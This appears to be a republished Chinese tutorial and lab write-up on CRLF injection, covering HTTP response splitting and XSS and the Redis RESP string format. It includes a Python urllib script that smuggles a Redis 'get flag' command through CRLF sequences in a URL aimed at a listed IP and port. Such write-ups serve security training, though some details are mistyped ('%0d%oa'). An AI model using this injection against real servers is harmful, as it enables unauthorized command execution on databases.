Python必備技能之CRLF注入


CRLF注入原理

在HTTP當中HTTP的Header和Body之間就是用兩個crlf進行分隔的,如果能控制HTTP消息頭中的字符,注入一些惡意的換行,這樣就能注入一些會話cookie和html代碼,所以CRLF injection 又叫做 HTTP response Splitting,簡稱HRS。CRLF漏洞可以造成Cookie會話固定和反射型XSS(可過waf)的危害,注入XSS的利用方式:連續使用兩次%0d%oa就會造成header和body之間的分離,就可以在其中插入xss代碼形成反射型xss漏洞。

 

Redis字符串的表示方式

大容量字符串按以下方式編碼:

                       1、一個以“$”字節開始,后面是組成字符串的字節數(前綴長度),由CRLF終止。

                        2、實際的字符串數據。

                       3、最終的CRLF。

                    所以字符串“foobar”被編碼如下:

               "$6\r\nfoobar\r\n"

                   當一個空字符串只是:

             "$0\r\n\r\n"

                 還可以使用RESP Bulk Strings 的特殊格式來表示空值。在這種特殊的格式中,長度是-1,並且沒有數據,所以空值表示為:

              "$-1\r\n"

靶場訓練:對redis 114.55.65.251.46379進行CRLF注入

根據上面的原理直接構造playload

# -*- coding:utf -8 -*-
"""
@Author:Forchan
@File:urllib_test.py
@Time:2021/02/23

"""
import urllib.request


host = '114.55.65.251:46379?\r\n*2\r\n$3\r\nget\r\n$4\r\nflag\r\n'

url= f'http://{host}/'

resp = urllib.request.urlopen(url)

print(resp.read())


點擊file頁面觀察是否存在“Http/”有斜杠“/”說明通過

觀察得到version通過readline讀出的

打斷點

重新debug

點擊Evaluate

 

 

成功讀取到flag

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM